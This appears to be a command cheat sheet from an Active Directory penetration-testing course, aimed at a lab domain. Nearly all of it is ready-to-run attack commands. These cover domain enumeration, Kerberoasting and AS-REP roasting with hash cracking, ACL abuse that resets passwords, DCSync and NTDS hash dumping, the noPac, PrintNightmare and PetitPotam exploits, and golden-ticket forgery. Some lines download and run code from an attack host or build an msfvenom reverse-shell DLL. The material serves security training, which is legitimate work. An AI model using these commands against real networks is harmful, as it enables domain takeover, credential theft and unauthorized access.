`smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only`	Enumerates the target Windows domain using valid credentials and performs a recursive listing (`-R`) of the specified share (`SYSVOL`) and only outputs a list of directories (`--dir-only`) in the share. Performed from a Linux-based host.
`rpcclient $> queryuser 0x457`	Enumerates a target user account in a Windows domain using its relative identifier (`0x457`). Performed from a Linux-based host.
`rpcclient $> enumdomusers`	Discovers user accounts in a target Windows domain and their associated relative identifiers (`rid`). Performed from a Linux-based host.
`psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125`	Impacket tool used to connect to the `CLI` of a Windows target via the `ADMIN$` administrative share with valid credentials. Performed from a Linux-based host.
`wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5`	Impacket tool used to connect to the `CLI` of a Windows target via `WMI` with valid credentials. Performed from a Linux-based host.
`windapsearch.py -h`	Used to display the options and functionality of windapsearch.py. Performed from a Linux-based host.
`python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 --da`	Used to enumerate the domain admins group (`--da`) using a valid set of credentials on a target Windows domain. Performed from a Linux-based host.
`python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 -PU`	Used to perform a recursive search (`-PU`) for users with nested permissions using valid credentials. Performed from a Linux-based host.
`sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all`	Executes the python implementation of BloodHound (`bloodhound.py`) with valid credentials and specifies a name server (`-ns`) and target Windows domain (`inlanefreight.local`) as well as runs all checks (`-c all`). Runs using valid credentials. Performed from a Linux-based host.

Enumeration by Living Off the Land

Command	Description
`Get-Module`	PowerShell cmd-let used to list all available modules, their version and command options from a Windows-based host.
`Import-Module ActiveDirectory`	Loads the `Active Directory` PowerShell module from a Windows-based host.
`Get-ADDomain`	PowerShell cmd-let used to gather Windows domain information from a Windows-based host.
`Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName`	PowerShell cmd-let used to enumerate user accounts on a target Windows domain and filter by `ServicePrincipalName`. Performed from a Windows-based host.
`Get-ADTrust -Filter *`	PowerShell cmd-let used to enumerate any trust relationships in a target Windows domain and filters by any (`-Filter *`). Performed from a Windows-based host.
`Get-ADGroup -Filter * \\| select name`	PowerShell cmd-let used to enumerate groups in a target Windows domain and filters by the name of the group (`select name`). Performed from a Windows-based host.
`Get-ADGroup -Identity "Backup Operators"`	PowerShell cmd-let used to search for a specifc group (`-Identity "Backup Operators"`). Performed from a Windows-based host.
`Get-ADGroupMember -Identity "Backup Operators"`	PowerShell cmd-let used to discover the members of a specific group (`-Identity "Backup Operators"`). Performed from a Windows-based host.
`Export-PowerViewCSV`	PowerView script used to append results to a `CSV` file. Performed from a Windows-based host.
`ConvertTo-SID`	PowerView script used to convert a `User` or `Group` name to it's `SID`. Performed from a Windows-based host.
`Get-DomainSPNTicket`	PowerView script used to request the kerberos ticket for a specified service principal name (`SPN`). Performed from a Windows-based host.
`Get-Domain`	PowerView script used tol return the AD object for the current (or specified) domain. Performed from a Windows-based host.
`Get-DomainController`	PowerView script used to return a list of the target domain controllers for the specified target domain. Performed from a Windows-based host.
`Get-DomainUser`	PowerView script used to return all users or specific user objects in AD. Performed from a Windows-based host.
`Get-DomainComputer`	PowerView script used to return all computers or specific computer objects in AD. Performed from a Windows-based host.
`Get-DomainGroup`	PowerView script used to eturn all groups or specific group objects in AD. Performed from a Windows-based host.
`Get-DomainOU`	PowerView script used to search for all or specific OU objects in AD. Performed from a Windows-based host.
`Find-InterestingDomainAcl`	PowerView script used to find object `ACLs` in the domain with modification rights set to non-built in objects. Performed from a Windows-based host.
`Get-DomainGroupMember`	PowerView script used to return the members of a specific domain group. Performed from a Windows-based host.
`Get-DomainFileServer`	PowerView script used to return a list of servers likely functioning as file servers. Performed from a Windows-based host.
`Get-DomainDFSShare`	PowerView script used to return a list of all distributed file systems for the current (or specified) domain. Performed from a Windows-based host.
`Get-DomainGPO`	PowerView script used to return all GPOs or specific GPO objects in AD. Performed from a Windows-based host.
`Get-DomainPolicy`	PowerView script used to return the default domain policy or the domain controller policy for the current domain. Performed from a Windows-based host.
`Get-NetLocalGroup`	PowerView script used to enumerate local groups on a local or remote machine. Performed from a Windows-based host.
`Get-NetLocalGroupMember`	PowerView script enumerate members of a specific local group. Performed from a Windows-based host.
`Get-NetShare`	PowerView script used to return a list of open shares on a local (or a remote) machine. Performed from a Windows-based host.
`Get-NetSession`	PowerView script used to return session information for the local (or a remote) machine. Performed from a Windows-based host.
`Test-AdminAccess`	PowerView script used to test if the current user has administrative access to the local (or a remote) machine. Performed from a Windows-based host.
`Find-DomainUserLocation`	PowerView script used to find machines where specific users are logged into. Performed from a Windows-based host.
`Find-DomainShare`	PowerView script used to find reachable shares on domain machines. Performed from a Windows-based host.
`Find-InterestingDomainShareFile`	PowerView script that searches for files matching specific criteria on readable shares in the domain. Performed from a Windows-based host.
`Find-LocalAdminAccess`	PowerView script used to find machines on the local domain where the current user has local administrator access Performed from a Windows-based host.
`Get-DomainTrust`	PowerView script that returns domain trusts for the current domain or a specified domain. Performed from a Windows-based host.
`Get-ForestTrust`	PowerView script that returns all forest trusts for the current forest or a specified forest. Performed from a Windows-based host.
`Get-DomainForeignUser`	PowerView script that enumerates users who are in groups outside of the user's domain. Performed from a Windows-based host.
`Get-DomainForeignGroupMember`	PowerView script that enumerates groups with users outside of the group's domain and returns each foreign member. Performed from a Windows-based host.
`Get-DomainTrustMapping`	PowerView script that enumerates all trusts for current domain and any others seen. Performed from a Windows-based host.
`Get-DomainGroupMember -Identity "Domain Admins" -Recurse`	PowerView script used to list all the members of a target group (`"Domain Admins"`) through the use of the recurse option (`-Recurse`). Performed from a Windows-based host.
`Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName`	PowerView script used to find users on the target Windows domain that have the `Service Principal Name` set. Performed from a Windows-based host.
`.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data`	Runs a tool called `Snaffler` against a target Windows domain that finds various kinds of data in shares that the compromised account has access to. Performed from a Windows-based host.

Transfering Files

Command	Description
`sudo python3 -m http.server 8001`	Starts a python web server for quick hosting of files. Performed from a Linux-basd host.
`"IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')"`	PowerShell one-liner used to download a file from a web server. Performed from a Windows-based host.
`impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/`	Starts a impacket `SMB` server for quick hosting of a file. Performed from a Windows-based host.

Kerberoasting

Command	Description
`sudo python3 -m pip install .`	Used to install Impacket from inside the directory that gets cloned to the attack host. Performed from a Linux-based host.
`GetUserSPNs.py -h`	Impacket tool used to display the options and functionality of `GetUserSPNs.py` from a Linux-based host.
`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday`	Impacket tool used to get a list of `SPNs` on the target Windows domain from a Linux-based host.
`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request`	Impacket tool used to download/request (`-request`) all TGS tickets for offline processing from a Linux-based host.
`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev`	Impacket tool used to download/request (`-request-user`) a TGS ticket for a specific user account (`sqldev`) from a Linux-based host.
`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs`	Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (`-outputfile sqldev_tgs`) linux-based host.
`hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force`	Attempts to crack the Kerberos (`-m 13100`) ticket hash (`sqldev_tgs`) using `hashcat` and a wordlist (`rockyou.txt`) from a Linux-based host.
`setspn.exe -Q /`	Used to enumerate `SPNs` in a target Windows domain from a Windows-based host.
`Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"`	PowerShell script used to download/request the TGS ticket of a specific user from a Windows-based host.
`setspn.exe -T INLANEFREIGHT.LOCAL -Q / \\| Select-String '^CN' -Context 0,1 \\| % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }`	Used to download/request all TGS tickets from a WIndows-based host.
`mimikatz # base64 /out:true`	`Mimikatz` command that ensures TGS tickets are extracted in `base64` format from a Windows-based host.
`kerberos::list /export`	`Mimikatz` command used to extract the TGS tickets from a Windows-based host.
`echo "<base64 blob>" \\| tr -d \\n`	Used to prepare the base64 formatted TGS ticket for cracking from Linux-based host.
`cat encoded_file \\| base64 -d > sqldev.kirbi`	Used to output a file (`encoded_file`) into a .kirbi file in base64 (`base64 -d > sqldev.kirbi`) format from a Linux-based host.
`python2.7 kirbi2john.py sqldev.kirbi`	Used to extract the `Kerberos ticket`. This also creates a file called `crack_file` from a Linux-based host.
`sed 's/\$krb5tgs\$$.$:$.$/\$krb5tgs\$23\$\\1\\$\2/' crack_file > sqldev_tgs_hashcat`	Used to modify the `crack_file` for `Hashcat` from a Linux-based host.
`cat sqldev_tgs_hashcat`	Used to view the prepared hash from a Linux-based host.
`hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt`	Used to crack the prepared Kerberos ticket hash (`sqldev_tgs_hashcat`) using a wordlist (`rockyou.txt`) from a Linux-based host.
`Import-Module .\PowerView.ps1 Get-DomainUser * -spn \\| select samaccountname`	Uses PowerView tool to extract `TGS Tickets` . Performed from a Windows-based host.
`Get-DomainUser -Identity sqldev \\| Get-DomainSPNTicket -Format Hashcat`	PowerView tool used to download/request the TGS ticket of a specific ticket and automatically format it for `Hashcat` from a Windows-based host.
`Get-DomainUser * -SPN \\| Get-DomainSPNTicket -Format Hashcat \\| Export-Csv .\ilfreight_tgs.csv -NoTypeInformation`	Exports all TGS tickets to a `.CSV` file (`ilfreight_tgs.csv`) from a Windows-based host.
`cat .\ilfreight_tgs.csv`	Used to view the contents of the .csv file from a Windows-based host.
`.\Rubeus.exe`	Used to view the options and functionality possible with the tool `Rubeus`. Performed from a Windows-based host.
`.\Rubeus.exe kerberoast /stats`	Used to check the kerberoast stats (`/stats`) within the target Windows domain from a Windows-based host.
`.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap`	Used to request/download TGS tickets for accounts with the `admin` count set to `1` then formats the output in an easy to view & crack manner (`/nowrap`) . Performed from a Windows-based host.
`.\Rubeus.exe kerberoast /user:testspn /nowrap`	Used to request/download a TGS ticket for a specific user (`/user:testspn`) the formats the output in an easy to view & crack manner (`/nowrap`). Performed from a Windows-based host.
`Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes`	PowerView tool used to check the `msDS-SupportedEncryptionType` attribute associated with a specific user account (`testspn`). Performed from a Windows-based host.
`hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt`	Used to attempt to crack the ticket hash using a wordlist (`rockyou.txt`) from a Linux-based host .

ACL Enumeration & Tactics

Command	Description
`Find-InterestingDomainAcl`	PowerView tool used to find object ACLs in the target Windows domain with modification rights set to non-built in objects from a Windows-based host.
`Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley`	Used to import PowerView and retrieve the `SID` of a specific user account (`wley`) from a Windows-based host.
`Get-DomainObjectACL -Identity * \\| ? {$_.SecurityIdentifier -eq $sid}`	Used to find all Windows domain objects that the user has rights over by mapping the user's `SID` to the `SecurityIdentifier` property from a Windows-based host.
`$guid= "00299570-246d-11d0-a768-00aa006e0529" Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * \\| Select Name,DisplayName,DistinguishedName,rightsGuid \\| ?{$_.rightsGuid -eq $guid} \\| fl`	Used to perform a reverse search & map to a `GUID` value from a Windows-based host.
`Get-DomainObjectACL -ResolveGUIDs -Identity * \\| ? {$_.SecurityIdentifier -eq $sid}`	Used to discover a domain object's ACL by performing a search based on GUID's (`-ResolveGUIDs`) from a Windows-based host.
`Get-ADUser -Filter * \\| Select-Object -ExpandProperty SamAccountName > ad_users.txt`	Used to discover a group of user accounts in a target Windows domain and add the output to a text file (`ad_users.txt`) from a Windows-based host.
`foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" \\| Select-Object Path -ExpandProperty Access \\| Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}`	A `foreach loop` used to retrieve ACL information for each domain user in a target Windows domain by feeding each list of a text file(`ad_users.txt`) to the `Get-ADUser` cmdlet, then enumerates access rights of those users. Performed from a Windows-based host.
`$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)`	Used to create a `PSCredential Object` from a Windows-based host.
`$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force`	Used to create a `SecureString Object` from a Windows-based host.
`Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose`	PowerView tool used to change the password of a specifc user (`damundsen`) on a target Windows domain from a Windows-based host.
`Get-ADGroup -Identity "Help Desk Level 1" -Properties * \\| Select -ExpandProperty Members`	PowerView tool used view the members of a target security group (`Help Desk Level 1`) from a Windows-based host.
`Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose`	PowerView tool used to add a specifc user (`damundsen`) to a specific security group (`Help Desk Level 1`) in a target Windows domain from a Windows-based host.
`Get-DomainGroupMember -Identity "Help Desk Level 1" \\| Select MemberName`	PowerView tool used to view the members of a specific security group (`Help Desk Level 1`) and output only the username of each member (`Select MemberName`) of the group from a Windows-based host.
`Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose`	PowerView tool used create a fake `Service Principal Name` given a sepecift user (`adunn`) from a Windows-based host.
`Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose`	PowerView tool used to remove the fake `Service Principal Name` created during the attack from a Windows-based host.
`Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose`	PowerView tool used to remove a specific user (`damundsent`) from a specific security group (`Help Desk Level 1`) from a Windows-based host.
`ConvertFrom-SddlString`	PowerShell cmd-let used to covert an `SDDL string` into a readable format. Performed from a Windows-based host.

DCSync

Command	Description
`Get-DomainUser -Identity adunn \\| select samaccountname,objectsid,memberof,useraccountcontrol \\|fl`	PowerView tool used to view the group membership of a specific user (`adunn`) in a target Windows domain. Performed from a Windows-based host.
`$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164" Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs \\| ? { ($_.ObjectAceType -match 'Replication-Get')} \\| ?{$_.SecurityIdentifier -match $sid} \\| select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType \\| fl`	Used to create a variable called SID that is set equal to the SID of a user account. Then uses PowerView tool `Get-ObjectAcl` to check a specific user's replication rights. Performed from a Windows-based host.
`secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss`	Impacket tool sed to extract NTLM hashes from the NTDS.dit file hosted on a target Domain Controller (`172.16.5.5`) and save the extracted hashes to an file (`inlanefreight_hashes`). Performed from a Linux-based host.
`mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator`	Uses `Mimikatz` to perform a `dcsync` attack from a Windows-based host.

Privileged Access

Command	Description
`Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"`	PowerView based tool to used to enumerate the `Remote Desktop Users` group on a Windows target (`-ComputerName ACADEMY-EA-MS01`) from a Windows-based host.
`Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"`	PowerView based tool to used to enumerate the `Remote Management Users` group on a Windows target (`-ComputerName ACADEMY-EA-MS01`) from a Windows-based host.
`$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force`	Creates a variable (`$password`) set equal to the password (`Klmcargo2`) of a user from a Windows-based host.
`$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)`	Creates a variable (`$cred`) set equal to the username (`forend`) and password (`$password`) of a target domain account from a Windows-based host.
`Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred`	Uses the PowerShell cmd-let `Enter-PSSession` to establish a PowerShell session with a target over the network (`-ComputerName ACADEMY-EA-DB01`) from a Windows-based host. Authenticates using credentials made in the 2 commands shown prior (`$cred` & `$password`).
`evil-winrm -i 10.129.201.234 -u forend`	Used to establish a PowerShell session with a Windows target from a Linux-based host using `WinRM`.
`Import-Module .\PowerUpSQL.ps1`	Used to import the `PowerUpSQL` tool.
`Get-SQLInstanceDomain`	PowerUpSQL tool used to enumerate SQL server instances from a Windows-based host.
`Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'`	PowerUpSQL tool used to connect to connect to a SQL server and query the version (`-query 'Select @@version'`) from a Windows-based host.
`mssqlclient.py`	Impacket tool used to display the functionality and options provided with `mssqlclient.py` from a Linux-based host.
`mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth`	Impacket tool used to connect to a MSSQL server from a Linux-based host.
`SQL> help`	Used to display mssqlclient.py options once connected to a MSSQL server.
`SQL> enable_xp_cmdshell`	Used to enable `xp_cmdshell stored procedure` that allows for executing OS commands via the database from a Linux-based host.
`xp_cmdshell whoami /priv`	Used to enumerate rights on a system using `xp_cmdshell`.

NoPac

Command	Description
`sudo git clone https://github.com/Ridter/noPac.git`	Used to clone a `noPac` exploit using git. Performed from a Linux-based host.
`sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap`	Runs `scanner.py` to check if a target system is vulnerable to `noPac`/`Sam_The_Admin` from a Linux-based host.
`sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap`	Used to exploit the `noPac`/`Sam_The_Admin` vulnerability and gain a SYSTEM shell (`-shell`). Performed from a Linux-based host.
`sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator`	Used to exploit the `noPac`/`Sam_The_Admin` vulnerability and perform a `DCSync` attack against the built-in Administrator account on a Domain Controller from a Linux-based host.

PrintNightmare

Command	Description
`git clone https://github.com/cube0x0/CVE-2021-1675.git`	Used to clone a PrintNightmare exploit using git from a Linux-based host.
`pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install`	Used to ensure the exploit author's (`cube0x0`) version of Impacket is installed. This also uninstalls any previous Impacket version on a Linux-based host.
`rpcdump.py @172.16.5.5 \\| egrep 'MS-RPRN\\|MS-PAR'`	Used to check if a Windows target has `MS-PAR` & `MSRPRN` exposed from a Linux-based host.
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.129.202.111 LPORT=8080 -f dll > backupscript.dll`	Used to generate a DLL payload to be used by the exploit to gain a shell session. Performed from a Windows-based host.
`sudo smbserver.py -smb2support CompData /path/to/backupscript.dll`	Used to create an SMB server and host a shared folder (`CompData`) at the specified location on the local linux host. This can be used to host the DLL payload that the exploit will attempt to download to the host. Performed from a Linux-based host.
`sudo python3 CVE-2021-1675.py inlanefreight.local/<username>:<password>@172.16.5.5 '\\10.129.202.111\CompData\backupscript.dll'`	Executes the exploit and specifies the location of the DLL payload. Performed from a Linux-based host.

PetitPotam

Command	Description
`sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController`	Impacket tool used to create an `NTLM relay` by specifiying the web enrollment URL for the `Certificate Authority` host. Perfomred from a Linux-based host.
`git clone https://github.com/topotam/PetitPotam.git`	Used to clone the `PetitPotam` exploit using git. Performed from a Linux-based host.
`python3 PetitPotam.py 172.16.5.225 172.16.5.5`	Used to execute the PetitPotam exploit by specifying the IP address of the attack host (`172.16.5.255`) and the target Domain Controller (`172.16.5.5`). Performed from a Linux-based host.
`python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <base64 certificate> = dc01.ccache`	Uses `gettgtpkinit`.py to request a TGT ticket for the Domain Controller (`dc01.ccache`) from a Linux-based host.
`secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL`	Impacket tool used to perform a DCSync attack and retrieve one or all of the `NTLM password hashes` from the target Windows domain. Performed from a Linux-based host.
`klist`	`krb5-user` command used to view the contents of the `ccache` file. Performed from a Linux-based host.
`python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$`	Used to submit TGS requests using `getnthash.py` from a Linux-based host.
`secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba`	Impacket tool used to extract hashes from `NTDS.dit` using a `DCSync attack` and a captured hash (`-hashes`). Performed from a Linux-based host.
`.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /<base64 certificate>=/ptt`	Uses Rubeus to request a TGT and perform a `pass-the-ticket attack` using the machine account (`/user:ACADEMY-EA-DC01$`) of a Windows target. Performed from a Windows-based host.
`mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt`	Performs a DCSync attack using `Mimikatz`. Performed from a Windows-based host.

Miscellaneous Misconfigurations

Command	Description
`Import-Module .\SecurityAssessment.ps1`	Used to import the module `Security Assessment.ps1`. Performed from a Windows-based host.
`Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL`	SecurityAssessment.ps1 based tool used to enumerate a Windows target for `MS-PRN Printer bug`. Performed from a Windows-based host.
`adidnsdump -u inlanefreight\\forend ldap://172.16.5.5`	Used to resolve all records in a DNS zone over `LDAP` from a Linux-based host.
`adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r`	Used to resolve unknown records in a DNS zone by performing an `A query` (`-r`) from a Linux-based host.
`Get-DomainUser * \\| Select-Object samaccountname,description`	PowerView tool used to display the description field of select objects (`Select-Object`) on a target Windows domain from a Windows-based host.
`Get-DomainUser -UACFilter PASSWD_NOTREQD \\| Select-Object samaccountname,useraccountcontrol`	PowerView tool used to check for the `PASSWD_NOTREQD` setting of select objects (`Select-Object`) on a target Windows domain from a Windows-based host.
`ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts`	Used to list the contents of a share hosted on a Windows target from the context of a currently logged on user. Performed from a Windows-based host.

Group Policy Enumeration & Attacks

Command	Description
`gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE`	Tool used to decrypt a captured `group policy preference password` from a Linux-based host.
`crackmapexec smb -L \\| grep gpp`	Locates and retrieves a `group policy preference password` using `CrackMapExec`, the filters the output using `grep`. Peformed from a Linux-based host.
`crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin`	Locates and retrieves any credentials stored in the `SYSVOL` share of a Windows target using `CrackMapExec` from a Linux-based host.
`Get-DomainGPO \\| select displayname`	PowerView tool used to enumerate GPO names in a target Windows domain from a Windows-based host.
`Get-GPO -All \\| Select DisplayName`	PowerShell cmd-let used to enumerate GPO names. Performed from a Windows-based host.
`$sid=Convert-NameToSid "Domain Users"`	Creates a variable called `$sid` that is set equal to the `Convert-NameToSid` tool and specifies the group account `Domain Users`. Performed from a Windows-based host.
`Get-DomainGPO \\| Get-ObjectAcl \\| ?{$_.SecurityIdentifier -eq $sid`	PowerView tool that is used to check if the `Domain Users` (`eq $sid`) group has any rights over one or more GPOs. Performed from a Windows-based host.
`Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532`	PowerShell cmd-let used to display the name of a GPO given a `GUID`. Performed from a Windows-based host.

ASREPRoasting

Command	Description
`Get-DomainUser -PreauthNotRequired \\| select samaccountname,userprincipalname,useraccountcontrol \\| fl`	PowerView based tool used to search for the `DONT_REQ_PREAUTH` value across in user accounts in a target Windows domain. Performed from a Windows-based host.
`.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat`	Uses `Rubeus` to perform an `ASEP Roasting attack` and formats the output for `Hashcat`. Performed from a Windows-based host.
`hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt`	Uses `Hashcat` to attempt to crack the captured hash using a wordlist (`rockyou.txt`). Performed from a Linux-based host.
`kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt`	Enumerates users in a target Windows domain and automatically retrieves the `AS` for any users found that don't require Kerberos pre-authentication. Performed from a Linux-based host.

Trust Relationships - Child > Parent Trusts

Command	Description
`Import-Module activedirectory`	Used to import the `Active Directory` module. Performed from a Windows-based host.
`Get-ADTrust -Filter *`	PowerShell cmd-let used to enumerate a target Windows domain's trust relationships. Performed from a Windows-based host.
`Get-DomainTrust`	PowerView tool used to enumerate a target Windows domain's trust relationships. Performed from a Windows-based host.
`Get-DomainTrustMapping`	PowerView tool used to perform a domain trust mapping from a Windows-based host.
`Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL \\| select SamAccountName`	PowerView tools used to enumerate users in a target child domain from a Windows-based host.
`mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt`	Uses Mimikatz to obtain the `KRBTGT` account's `NT Hash` from a Windows-based host.
`Get-DomainSID`	PowerView tool used to get the SID for a target child domain from a Windows-based host.
`Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" \\| select distinguishedname,objectsid`	PowerView tool used to obtain the `Enterprise Admins` group's SID from a Windows-based host.
`ls \\academy-ea-dc01.inlanefreight.local\c$`	Used to attempt to list the contents of the C drive on a target Domain Controller. Performed from a Windows-based host.
`mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt`	Uses `Mimikatz` to create a `Golden Ticket` from a Windows-based host .
`.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt`	Uses `Rubeus` to create a `Golden Ticket` from a Windows-based host.
`mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm`	Uses `Mimikatz` to perform a DCSync attack from a Windows-based host.
`secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt`	Impacket tool used to perform a DCSync attack from a Linux-based host.
`lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240`	Impacket tool used to perform a `SID Brute forcing` attack from a Linux-based host.
`lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 \\| grep "Domain SID"`	Impacket tool used to retrieve the SID of a target Windows domain from a Linux-based host.
`lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 \\| grep -B12 "Enterprise Admins"`	Impacket tool used to retrieve the `SID` of a target Windows domain and attach it to the Enterprise Admin group's `RID` from a Linux-based host.
`ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker`	Impacket tool used to create a `Golden Ticket` from a Linux-based host.
`export KRB5CCNAME=hacker.ccache`	Used to set the `KRB5CCNAME Environment Variable` from a Linux-based host.
`psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5`	Impacket tool used to establish a shell session with a target Domain Controller from a Linux-based host.
`raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm`	Impacket tool that automatically performs an attack that escalates from child to parent domain.

Trust Relationships - Cross-Forest

Command	Description
`Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL \\| select SamAccountName`	PowerView tool used to enumerate accounts for associated `SPNs` from a Windows-based host.
`Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc \\| select samaccountname,memberof`	PowerView tool used to enumerate the `mssqlsvc` account from a Windows-based host.
`.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap`	Uses `Rubeus` to perform a Kerberoasting Attack against a target Windows domain (`/domain:FREIGHTLOGISTICS.local`) from a Windows-based host.
